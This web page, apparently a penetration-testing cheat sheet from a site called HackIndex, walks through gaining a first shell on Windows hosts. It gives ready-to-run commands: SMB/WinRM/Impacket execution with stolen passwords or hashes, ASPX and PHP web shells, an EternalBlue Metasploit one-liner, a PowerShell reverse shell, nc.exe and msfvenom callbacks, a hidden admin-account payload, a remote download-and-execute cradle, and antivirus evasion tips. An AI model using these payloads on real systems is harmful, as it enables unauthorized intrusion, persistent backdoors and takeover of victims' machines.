Skip to content
HackIndex logo

HackIndex

Windows Initial Exploitation

7 min read Jun 19, 2026

This page picks up where vulnerability discovery ends. You have confirmed what is exploitable — now you use it to get execution. The techniques here cover getting a first shell on a standalone Windows host without Active Directory context: credential-based access, SMB execution chains, web shell delivery, and unpatched RCE vulnerabilities.

Default or Weak Credentials to Shell

If credential spraying or credential discovery returned a valid username and password, try them across SMB, WinRM, and RDP before going further. All three can give you immediate command execution.

SMB command execution — quick check to confirm the credentials work and you have remote exec access:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x whoami

If the output returns a username, the credentials are valid and SMB execution is available. (Pwn3d!) in the output confirms admin-level access.

WinRM shell — if port 5985 or 5986 is open and the account has WinRM access:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD

On Kali, install with gem install evil-winrm or use /usr/bin/evil-winrm if already present. This drops you into an interactive PowerShell session. Useful for file transfers, loading scripts, and running .NET assemblies in-memory.

RDP access — for GUI access when port 3389 is open:

┌──(kali㉿kali)-[~]
└─$ xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert:ignore

RDP is loud — it creates logon events and is visible in session logs.

PSExec-Style Execution via SMB

When you have confirmed SMB admin access, the Impacket suite gives you multiple execution primitives. All run from a Linux attacker machine. For local accounts use ./ as the domain prefix or omit it entirely.

psexec — creates a named service on the target, uploads a binary to ADMIN$, and runs it:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $USER:$PASSWORD@$TARGET_IP

This reliably returns a SYSTEM shell but is the noisiest option. It creates a service entry in the Windows Event Log and writes a binary to disk. AV and EDR commonly catch this.

smbexec — writes temporary batch files to execute commands without uploading a persistent binary:

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $USER:$PASSWORD@$TARGET_IP

More evasive than psexec. Still creates service events and temporary files, but leaves a smaller footprint.

wmiexec — executes commands over WMI without creating a service or writing executables to disk:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $USER:$PASSWORD@$TARGET_IP

Stealthiest of the three. Output is captured via a writable share, so no direct connection back to your machine. Prefer this when OPSEC matters.

nxc with exec method selection:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD --local-auth -x "whoami" --exec-method smbexec

Replace smbexec with wmiexec or mmcexec depending on what the target accepts. Drop --local-auth if authenticating against a domain account.

If you only have an NT hash instead of a plaintext password, replace :$PASSWORD with -hashes :$NTHASH for Impacket tools, or -H $NTHASH for nxc.

Web Shell via File Upload or SMB Write

If the target is running IIS or another web server and you have write access to the webroot — either via SMB share access or a writable upload endpoint — placing a web shell gives persistent command execution through HTTP.

Write an ASPX shell via SMB to IIS webroot:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/C$ -U $USER%$PASSWORD -c "put shell.aspx inetpub\wwwroot\shell.aspx"

Minimal ASPX shell payload to save as shell.aspx:

<%@@ Page Language="C#" %>
<%@@ Import Namespace="System.Diagnostics" %>
<% var p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>

Trigger it with:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.aspx?cmd=whoami"

PHP shell on an Apache or PHP-backed target:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/wwwroot -U $USER%$PASSWORD -c "put shell.php"

Simple PHP payload:

<?php system($_GET['cmd']); ?>
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=whoami"

If the web server runs as a low-privileged account (IIS AppPool, www-data), follow up with a privilege escalation technique from the Windows platform pages.

MS17-010 (EternalBlue) — Unauthenticated RCE

EternalBlue exploits a critical SMB buffer overflow in Windows 7, Windows Server 2008 R2, and unpatched Windows 10 / Server 2016 builds. If the target is confirmed vulnerable, this gives unauthenticated SYSTEM-level code execution over port 445.

Before attempting exploitation, confirm the target is vulnerable. See the EternalBlue vulnerability detection page.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET_IP; set LHOST $LHOST; set LPORT $LPORT; run"

EternalBlue can crash unstable targets. On production systems, the exploit creates significant noise and should be treated as destructive-risk. In lab environments it is reliable on unpatched Windows 7 and Server 2008 R2.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

If the Print Spooler service is running and the target is unpatched, PrintNightmare allows unauthenticated or low-privileged users to achieve remote code execution or local privilege escalation via the Windows Print Spooler.

See the dedicated page for full exploitation steps: PrintNightmare — Print Spooler RCE to SYSTEM.

Check if the Print Spooler is running before attempting:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler

Reverse Shell Payloads for Windows

Once you have command execution — via web shell, PSExec output, or a scripted callback — you often want an interactive shell. These payloads turn one-shot execution into a session.

Start a listener on your attack box first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

PowerShell reverse shell — one-liner:

┌──(kali㉿kali)-[~]
└─$ powershell -NoP -NonI -W Hidden -Exec Bypass -Command "& {$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}}"

If the target filters outbound connections on common ports, try port 80 or 443 for $LPORT.

nc.exe drop and execute — useful when you have file write access but PowerShell is restricted:

On Kali: /usr/share/windows-resources/binaries/nc.exe

Serve it over SMB or HTTP, then execute on the target:

C:\Users\Guest\Desktop> \\$LHOST\share\nc.exe $LHOST $LPORT -e cmd.exe

Or after dropping it to disk:

┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe

msfvenom — reverse shell (staged):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe

Staged payload — requires Metasploit handler. Stageless (no handler needed, works with nc):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe

msfvenom — bind shell — target listens, attacker connects in (useful when outbound is filtered):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_bind_tcp LPORT=$LPORT -f exe -o bind.exe

Connect from attacker after execution:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP $LPORT

msfvenom — exec payload — wrap a single command in an EXE (add user, run script, etc.):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add" -f exe -o adduser.exe

PowerShell download cradle as exec payload:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" -f exe -o loader.exe

32-bit targets — replace windows/x64/ with windows/ for x86:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload32.exe

AV catches unsigned executables dropped to disk. If blocked: use the PowerShell in-memory approach, encode with -e x86/shikata_ga_nai, or use a custom loader.